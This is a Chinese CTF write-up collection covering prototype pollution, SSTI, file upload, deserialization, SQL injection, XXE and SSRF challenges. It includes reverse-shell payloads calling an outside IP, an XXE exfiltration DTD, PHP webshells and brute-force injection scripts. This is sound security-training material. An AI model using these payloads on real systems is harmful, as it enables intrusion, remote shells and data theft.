但是如果传a[0]=1&b[0]=2,相当于创了个变量a=[1] b=[2],再像上面那样打印的时候,会打印出1flag{xxx}和2flag{xxx}

338

原型链污染

//login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});
module.exports = router;

utils.copy(user,req.body);这个和merge差不多

payload:
POST
{"__proto__":{"ctfshow":"36dboy"}}

339

//login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
  this.username='';
  this.password='';
}
function normalUser(){
  this.user
}
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});
module.exports = router;

这要让ctfshow=flag变量,我不行捏,看看旁边的app.js

//api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
});
module.exports = router;
  • Function(“console.log(‘HelloWolrd’)”)()

类似于php中的create_function

对于ejs渲染引擎来说,对opts有原型链污染漏洞

if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

这里我们就可以污染outputFunctionName来执行恶意代码

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/45.15.131.101/2337 0>&1\"');var __tmp2"}}

通过login污染再通过api渲染调用

340

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
});
module.exports = router;

这里要向上污染两层才行,其他的都和上面一样

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/45.15.131.101/2337 0>&1\"');var __tmp2"}}}

341

没有api了,直接ejs的rce

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/45.15.131.101/2337 0>&1\"');var __tmp2"}}}

342,343

不是ejs渲染模版了

是jade渲染模版,找jade的原型链污染rce

{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/45.15.131.101/2337 0>&1\"')"}}}

344

源码

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }
});

根据源码我们正常情况下需要传?query={"name":"admin","password":"ctfshow","isVIP":true}但是题目把逗号和他的url编码给过滤掉了,所以需要绕过。

payload:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。

CTFshow黑盒测试

380

扫目录扫除page.php文件

打开提示文件不存在,传参包含flag.php

381

打开page_$id.php失败

这次变了,目录穿越能拿到源码,但没有什么用,回首页发现css文件路径很奇怪,访问得到flag

382

同上题目录,不过需要登录,万能密码即可

383

同上

384

提示:密码前2位是小写字母,后三位是数字

爆破咯,结果是xy123

Dest0g3 520迎新赛

phpdest

包含log文件改User-Agent

payload:
?file=/var/log/nginx/access.log

User-Agent: <?php var_dump($flag);?>

EasyPHP

<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
    echo $fl4g;
}else{
    echo "Try harder!";
}
set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);
$fl4g .= $dest0g3;
?>

time条件是不可能满足了,看下面的自定义错误函数,只需要让程序产生错误就行,.运算用于拼接字符串,传入数组即可

payload:
POST
ctf[]=1

SimpleRCE

glob协议得到文件名,再使用fopen打开文件,fread读取内容

payload:
POST
aaa=echo(fread(fopen(end(glob('/f*')),'r'),100));

EasySSTI

先给个一次性payload

username={%25set%0dpoint=config|string|truncate(4)|last%25}
{%25set%0dcxhx=config|join|truncate(28)|replace(point,wu)|last%25}
{%25set%0dca=config|join|truncate(23)|replace(point,wu)|last|lower%25}
{%25set%0dcb=config|join|truncate(9)|replace(point,wu)|last|lower%25}
{%25set%0dcc=config|join|truncate(31)|replace(point,wu)|last|lower%25}
{%25set%0dcd=config|join|truncate(7)|replace(point,wu)|last|lower%25}
{%25set%0dce=config|join|truncate(4)|replace(point,wu)|last|lower%25}
{%25set%0dcf=config|join|truncate(98)|replace(point,wu)|last|lower%25}
{%25set%0dcg=config|join|truncate(11)|replace(point,wu)|last|lower%25}
{%25set%0dch=config|join|truncate(203)|replace(point,wu)|last|lower%25}
{%25set%0dci=config|join|truncate(16)|replace(point,wu)|last|lower%25}
{%25set%0dcj=config|join|truncate(429)|replace(point,wu)|last|lower%25}
{%25set%0dck=config|join|truncate(75)|replace(point,wu)|last|lower%25}
{%25set%0dcl=config|join|truncate(96)|replace(point,wu)|last|lower%25}
{%25set%0dcm=config|join|truncate(81)|replace(point,wu)|last|lower%25}
{%25set%0dcn=config|join|truncate(5)|replace(point,wu)|last|lower%25}
{%25set%0dco=config|join|truncate(21)|replace(point,wu)|last|lower%25}
{%25set%0dcp=config|join|truncate(19)|replace(point,wu)|last|lower%25}
{%25set%0dcq=config|join|truncate(294)|replace(point,wu)|last|lower%25}
{%25set%0dcr=config|join|truncate(20)|replace(point,wu)|last|lower%25}
{%25set%0dcs=config|join|truncate(14)|replace(point,wu)|last|lower%25}
{%25set%0dct=config|join|truncate(12)|replace(point,wu)|last|lower%25}
{%25set%0dcu=config|join|truncate(10)|replace(point,wu)|last|lower%25}
{%25set%0dcv=config|join|truncate(6)|replace(point,wu)|last|lower%25}
{%25set%0dcx=config|join|truncate(30)|replace(point,wu)|last|lower%25}
{%25set%0dcy=config|join|truncate(77)|replace(point,wu)|last|lower%25}
{%25set%0dcz=config|join|truncate(533)|replace(point,wu)|last|lower%25}
{%25set%0dglo=cxhx%2Bcxhx%2Bcg%2Bcl%2Bco%2Bcb%2Bca%2Bcl%2Bcs%2Bcxhx%2Bcxhx%25}
{%25set%0dcla=cxhx%2Bcxhx%2Bcc%2Bcl%2Bca%2Bcs%2Bcs%2Bcxhx%2Bcxhx%25}
{%25set%0dooo=lipsum|attr(glo)|attr(cp%2Bco%2Bcp)(co%2Bcs)%25}
{%25set%0da1=config|string|truncate(300)|replace(point,wu)|list%25}
{{a1|attr(cp%2Bco%2Bcp)()}}
{{a1|attr(cp%2Bco%2Bcp)()}}
{%25set%0dgang=a1|attr(cp%2Bco%2Bcp)()%25}
{%25set%0da2=config|list|string|truncate(20)|replace(point,wu)|list%25}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{%25set%0dspace=a2|attr(cp%2Bco%2Bcp)()%25}
{{ooo|attr(cp%2Bco%2Bcp%2Bce%2Bcn)(cc%2Bca%2Bct%2Bspace%2Bgang%2Bcf%2Bcl%2Bca%2Bcg)|attr(cr%2Bce%2Bca%2Bcd)()}}

ban的真多////////////

一个获取所有字母的小脚本

str="ENVDEBUGTESTINGPROPAGATE_EXCEPTIONSPRESERVE_CONTEXT_ON_EXCEPTIONSECRET_KEYPERMANENT_SESSION_LIFETIMEUSE_X_SENDFILESERVER_NAMEAPPLICATION_ROOTSESSION_COOKIE_NAMESESSION_COOKIE_DOMAINSESSION_COOKIE_PATHSESSION_COOKIE_HTTPONLYSESSION_COOKIE_SECURESESSION_COOKIE_SAMESITESESSION_REFRESH_EACH_REQUESTMAX_CONTENT_LENGTHSEND_FILE_MAX_AGE_DEFAULTTRAP_BAD_REQUEST_ERRORSTRAP_HTTP_EXCEPTIONSEXPLAIN_TEMPLATE_LOADINGPREFERRED_URL_SCHEMEJSON_AS_ASCIIJSON_SORT_KEYSJSONIFY_PRETTYPRINT_REGULARJSONIFY_MIMETYPETEMPLATES_AUTO_RELOADMAX_COOKIE_SIZE"
for i in "abcdefghijklmnopqrstuvwxyz":
    kkk=0
    for j in str:
        if i==j.lower():
            print(j)
            ini=str.find(j)+4
            print(f"字符{i}:set%0dc{i}=config|join|truncate({ini})|replace(point,wu)|last|lower")
            break

使用做出的字符变量拼接使用,反复使用pop直到拿到自己想要的字符,最后将os模块pop出进行使用(这也导致了这个payload只能一次性使用,使用一次破坏一次环境)

funny_upload

.htaccess解析漏洞

先构造htaccess文件内容

AddType application/x-httpd-php .png

上传图片发现确实被以php文件解析了,而后尝试构造图片马,最终发现<?被过滤,尝试各种标签(php7不支持)绕过无果,00%截断无果,查询得知htaccess也有类似.user.ini的文件包含功能php_value auto_append_file "文件名"相当于执行include("文件名")此处可使用PHP过滤器,所以可以先构造a文件包含base64编码后的木马,而后再使用过滤器解码包含执行

//1.png
PD9waHAgZXZhbCgkX1BPU1RbJ2trayddKTs/Pg==
//.htaccess
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.png"

此时再上传任意png并访问即可执行图片马(居然还ban系统命令执行)

后面就是跟着各位大佬WP做出来并且学习到的新知识啦

PharPOP

进去之后首先发现传不进去东西,由于Error的存在直接传入无法调用__destruct方法也就不能上传文件,看了大佬wp发现是通过构造和反序列化字符串不相等的变量声明数量来导致反序列化过程报错,使得内容被销毁执行__destruct方法

下一步就是构造反序列化链了,最终利用到的是air中的__set方法利用PHP原生类读文件

要触发air类的__set魔术方法,需要给不可访问属性赋值,apple类中__get有赋值 ,触发__get需要读取不可访问属性的值,需要触发tree中__call__call是要调用内部不存在的方法,tree中__destruct方法内return $this->name();。

再回到air类,我们需要p(value),p为DirectoryIterator,value为glob://xxxx,又因为apple-get触发air-set,所以apple-flag的值会传给 value,所以让apple ->flag=‘glob://xxx’ 对于$p,air-get中$p=nana中不存在act属性,_̲_get被触发,返回act,…p为act,所以让act=DirectoryIterator。

回到最外层的tree,要触发__destruct方法需要利用phpGC机制

————————————————
原文链接:https://blog.csdn.net/weixin_46081055/article/details/125046554

最终构造的exp如下

<?php
class air{
    public $p;
}

class tree{
    public $name;
    public $act;
}

class apple {
    public $xxx;
    public $flag;
}
class banana {
}

$air = new air();
$tree = new tree();
$apple = new apple();
$bana =new  banana();
$apple ->flag='glob:///f*';
$apple ->xxx= $air ;
$air->p=$bana;
$bana->act="DirectoryIterator";
$tree->name= $apple;

$phar = new Phar("phar1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata([0=>$tree,1=>NULL]); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering(); ?>

在这里我们要修改一下生成的phar文件,触发php的垃圾回收机制来让tree的__destruct方法执行

将此处的1修改为0

因为反序列化的过程是顺序执行的,所以到第一个属性时,会将Array[0]设置为tree对象,同时我们又将Array[0]设置为null,这样前面的tree对象便丢失了引用,就会被GC所捕获,就可以执行__destruct了。

此时由于phar文件被修改,所以我们需要修复一下文件签名,python脚本如下

from hashlib import sha1
f = open('./phar1.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('phar2.phar', 'wb').write(newf) # 写入新文件

下一步就是要将文件上传上去了,这里用python脚本来将内容上传

import requests
import gzip
import re

url = 'http://602ad6c4-4397-47e9-a1ea-d957fe9c0e7c.node4.buuoj.cn:81/'

file = open("./phar2.phar", "rb") #打开文件
file_out = gzip.open("./phar.zip", "wb+")#创建压缩文件对象,因为不压缩过不了WAF
print(file_out)
file_out.writelines(file)
file_out.close()
file.close()
res=requests.post(
    url,
    data={
        1: 'O:1:"D":2:{s:5:"start";s:1:"w";}',
        0: open('./phar.zip', 'rb').read()
    },
)
print(res.text)
# file_get_contents触发phar反序列化
res2 = requests.post(
    url,
    data={
        1: 'O:1:"D":2:{s:5:"start";s:1:"r";}',
        0: 'phar:///tmp/6e1fdc42161a607b4fcdec2222a38881.jpg'
    }
)
print(res2.text)

拿到flag

ezip

首先是个zip利用的大佬总结,这里要利用的是这个

这里根据zip里面压缩着的文件一个个解压,只要执行过php_zip_extract_file函数,相应的文件夹之下就会出现那个对应的文件。也就是说如果zip包里面第一个文件能被解压但是第二个文件有错误的话,整个命令的的执行会报错但第一个文件在报错前已经被写下来了。

里面有一个关于php解压漏洞的,如果压缩包其中有一个文件的文件名巨长,就会报错,但是里面的木马已经被解压了。所以直接拿那个脚本进行一波跑:

import zipfile
import io
 
mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
    zf.writestr('1.php', b'@<?php eval($_POST[1])?>')
    zf.writestr('A'*5000, b'AAAAA')
 
with open("shell.zip", "wb") as f:
    f.write(mf.getvalue())

尝试读取flag发现没有权限,whoami之后发现用户为www-data,suid提权,nl命令走

捞到flag

NodeSoEasy

题目中给了源码,也给了所使用框架的版本号,非常明显的原型链污染,但是在ejs 3.1.7中已经将outputFunctionName的原型链污染漏洞修复了所以我用这个链子干了半天也没结果,看wp利用的是另一个链子escapeFunction

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');","compileDebug":true}}}

middle

pickle反序列化捏,自己构造脚本咯

import base64
import pickle
import config
def backdoor():
    return 1;
class People(object):
    def __reduce__(self):
        return (config.backdoor, (["os.popen('cat /flag*').read()"],))
a = People()
c = pickle.dumps(a)
print(base64.b64encode(c))

ISCC2022

Easy-SQL

select被ban了,只能先尝试捞出数据库了

database:security
user:test
version:8.0.28

没有select只能看MySQL8的新特性了

使用mysql8.x的新增命令values直接union输出

系统表更换为InnoDB表

系统表全部换成事务型的innodb表,默认的MySQL实例将不包含任何MyISAM表,除非手动创建MyISAM表

TABLE STATEMENT

table语句是mysql8.0.19引入的语句,作用是返回表的全部内容,也就是返回表的行和列

table mysql.user union mysql.user

VALUES STATEMENT

values语句通过给出值的方式直接组成一个表,也就是可以把一个或者多个数据作为表来展示出来,返回的是一个表数据,当用union查询时,列数如果不对会发生报错

values row(1,2,3),row(2,3,4);
values row(1,2,3) union values row(2,3,4);

利用?id=0||('~','','','','','','','','','','','','','','','','','','','','','')>(table information_schema.columns limit 1)

找到information_schema.columns中共有22列数据,脚本爆破出表名

import requests

url = "http://59.110.159.206:7010/?id="
for k in range(732, 740):
    table = ""
    column = ""
    for j in range(732, 739):
        for l in range(1, 100):
            for i in range(1, 127):
                ttable = table + chr(i)
                com = f"0||('def','security','{ttable}','','','','','','','','','','','','','','','','','','','')>(table information_schema.columns limit {k},1)"
                tex = requests.get(url + com).text
                if "Dumb" in tex:
                    table = table + chr(i - 1)
                    print(table)
                    break
            com = f"0||('def','security','{table + chr(33)}','','','','','','','','','','','','','','','','','','','')>(table information_schema.columns limit {k},1)"
            tex = requests.get(url + com).text
            if "Dumb" in tex:
                print(table)
                for l in range(1, 100):
                    for i in range(1, 127):
                        tcolumn = column + chr(i)
                        com = f"0||('def','security','{table}','{tcolumn}','','','','','','','','','','','','','','','','','','')>(table information_schema.columns limit {k},1)"
                        tex = requests.get(url + com).text
                        if "Dumb" in tex:
                            column = column + chr(i - 1)
                            break
                    com = f"0||('def','security','{table}','{column + chr(33)}','','','','','','','','','','','','','','','','','','')>(table information_schema.columns limit {k},1)"
                    tex = requests.get(url + com).text
                    if "Dumb" in tex:
                        print(table + '.' + column)
                        break
        break

列名同样

security
	users
		ID
		USERNAME
		PASSWD
	emails
		G
		Q
		=
	flag
		G
		Fe

使用union table来捞出邮箱

?id=0 union (table security.emails limit 7,1)

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-04 16.00.43.png)

看源码

<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
   if ($conn->connect_errno) {
    die("Connection failed: " . $conn->connect_errno);
} 

echo "Where is the database?"."<br>";

echo "try ?id";

function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}

if (isset($_GET['id'])) 
{
    $id = $_GET['id'];
    $sql = "select * from users where id=$id";
    $safe = preg_match('/select/is', $id);
    if($safe!==0)
        die("No select!");
    $result = mysqli_query($conn, $sql);
    if ($result) 
    {
        $row = mysqli_fetch_array($result);
        echo "<h3>" . $row['username'] . "</h3><br>";
        echo "<h3>" . $row['passwd'] . "</h3>";
    }
    else
        die('<br>Error!');
}


if (isset($_POST['username']) && isset($_POST['passwd'])) 
{

    $username = strval($_POST['username']);
    $passwd = strval($_POST['passwd']);

    if ( !sqlWaf($passwd) )
        die('damn hacker');

    $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ( $row['username'] === 'admin' && $row['passwd'] )
        {
            if ($row['passwd'] == $passwd)
            {
                die($flag);
            } else {
                die("username or passwd wrong, are you admin?");
            }
        } else {
            die("wrong user");
        }
    } else {
        die("user not exist or wrong passwd");
    }
}
mysqli_close($conn); 
?>

要求结果中查询出的用户名为admin并且提交的密码和查询的密码相同才能拿到flag,在passwd处做了过滤,那么我们就在username处进行注入就行了,在上面已经得到了users表共有三列,直接union select构造我们自己的username和passwd

payload:
POST
username='union select '1','admin','1'%23&passwd=1

冬奥会

array_search弱比较,传入数字即可

payload:?Information={"year":"2022a","items":[0,[1,2],1]}

findme

<?php 
highlight_file(__FILE__); 

class a{ 
    public $un0; 
    public $un1; 
    public $un2; 
    public $un3; 
    public $un4; 
     
    public function __destruct(){ 
        if(!empty($this->un0) && empty($this->un2)){ 
            $this -> Givemeanew(); 
            if($this -> un3 === 'unserialize'){ 
                $this -> yigei(); 
            } 
            else{ 
                $this -> giao(); 
            } 
        } 
    } 

    public function Givemeanew(){ 
        $this -> un4 = new $this->un0($this -> un1); 
    } 

    public function yigei(){ 
        echo 'Your output: '.$this->un4; 
    } 
     
    public function giao(){ 
        @eval($this->un2); 
    } 
     
    public function __wakeup(){ 
        include $this -> un2.'hint.php'; 
    } 
} 

$data = $_POST['data']; 
unserialize($data);

原生类反序列化,先用伪协议读出提示

CTFshowXXE

XML基础知识

要了解xxe漏洞,那么一定得先明白基础知识,了解xml文档的基础组成。

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

xml的基本格式

- 所有 XML 元素都须有关闭标签
- XML 标签对大小写敏感
- XML 必须正确地嵌套
- XML 文档必须有根元素
- XML 的属性值须加引号

这里放一个正规的例子

<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>      <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>       <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这样

<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

内部实体

带有DTD的XML文档实例

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里 定义元素为ANY说明接受任何元素,但是定义了一个 xml 的实体(实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

我们使用&xxe对上面定义的xxe实体进行了引用,到时候输出的时候&xxe就会被 “test” 替换。

外部实体

实体分为两种,内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:

<?xml version="1.0"?>
<!DOCTYPE root-element SYSTEM "file:///c:/test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->

当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

这个在我们的攻击中也可以起到和 SYSTEM 一样的作用

我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)

通用实体

&实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

参数实体

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

在了解了基础知识后,下面开始了解xml外部实体注入引发的问题

373

最简单的版本咯,带回显直接构造

<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<j1an>
<ctfshow>&xxe;</ctfshow>
</j1an>

374

没有回显需要外带了

<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY file SYSTEM "file:///flag">
<!ENTITY xxe SYSTEM "http://&file;.i1ecvd.dnslog.cn">
]>
<j1an>
<ctfshow>&xxe;</ctfshow>
</j1an>

这种方法不知道为啥带不出来

<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://20.231.29.154/1.xml">
%remote;
%send;
]>
#1.xml
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://20.231.29.154/1.php?1=%file;'>"
>
&all;

CTFshowSSRF

SSRF基础

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

相关函数和类

file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
readfile():输出一个文件的内容
fsockopen():打开一个网络连接或者一个Unix 套接字连接
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
fopen():打开一个文件文件或者 URL
PHP原生类SoapClient在触发反序列化时可导致SSRF

相关协议

file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
http/s协议:探测内网主机存活

绕过方法

  • http://0.0.0.0/

    测试了下这个方法只能在linux下使用,windows并不认识这个IP

  • http://foo@127.0.0.1:80@www.google.com/hint.php

    此处利用了不同库解析url的差异

    不过这个方法在curl较新的版本里被修掉了,buu上的环境也无法使用

  • DNS Rebinding

    用这个,将同一域名绑定在不同的IP下,这样返回DNS请求查询的时候随机返回一个,就导致判断和真正curl发送请求的不是同一个IP

  • http://127。0。0。1/hint.php

    这个本地倒是测试成功了,buu上就不行,可能跟curl版本有关吧

  • http://127.1/hint.php

    ip2long('127.1')会返回false,这里可以绕过

    但是gethostbyname在linux下会把127.1变为127.0.0.1,所以这题是无法使用的

    不过windows下经过gethostbyname后依然是127.1,curl是支持127.1这样的写法的,但这样发出去的http请求是有问题的。因为http包中的host头被设为了127.1,apache会返回一个400 Bad Request

    但是这样构造的gopher请求是可行的

  • 进制绕过

  • 和127.1类似,也是存在不能用http的问题,但是gethostbyname并不会有影响,可用比如

    gopher://0177.0.0x0001:80
  • http://127.0.0.1./

    curl不支持

351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
# curl_init — 初始化 cURL 会话    
# curl_setopt — 设置一个cURL传输选项
# curl_exec — 执行 cURL 会话
# curl_close — 关闭 cURL 会话
payload:
POST:
url=http://127.0.0.1/flag.php

352

parse_url函数作用是将一个URL拆分,格式如下:

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
?>
以上例程会输出:
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)

同上即可

353

绕过127.0.0.1,可使用进制转换或其他IP

进制转换:
整数转换过程,将每一位IP转换为二进制并进行拼接
2130706433 //十进制整数
0x7F.0.0.1 //十六进制
0177.0.0.1 //八进制
0x7F000001 //十六进制整数
其他IP:
127.127.127.127
0
0.0.0.0

354

过滤没了,只能指向其他域名

1、将自己域名解析为127.0.0.1

2、将自己网站设置为302重定向到127.0.0.1

355

用0或者127.1

0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

356

更短了只能用0

357

gethostbyname — 返回主机名对应的 IPv4地址
# php filter函数
filter_var()	获取一个变量,并进行过滤
filter_var_array()	获取多个变量,并进行过滤
......
# PHP 过滤器
FILTER_VALIDATE_IP	把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

由于获取到了指向域名的IP值所以域名指向127.0.0.1不再生效,只能使用302重定向或者DNS rebinding(DNS重新绑定攻击)

DNS rebinding:

攻击重点在于DNS服务能够在两次DNS查询中返回不用的IP地址,第一次是真正的IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略
回到题目,在题目代码中一共对域名进行了两次请求,第一次是 gethostbyname 方法,第二次则是 file_get_contents 文件读取,可以通过 ceye.io 来实现攻击,DNS Rebinding 中设置两个 IP,一个是 127.0.0.1 另一个是随便可以访问的 IP

358

正则匹配要求URL以http://ctf.开头,以show结尾

一个完整的URL的格式如下

http://username:password@hostname/path?arg=value#anchor

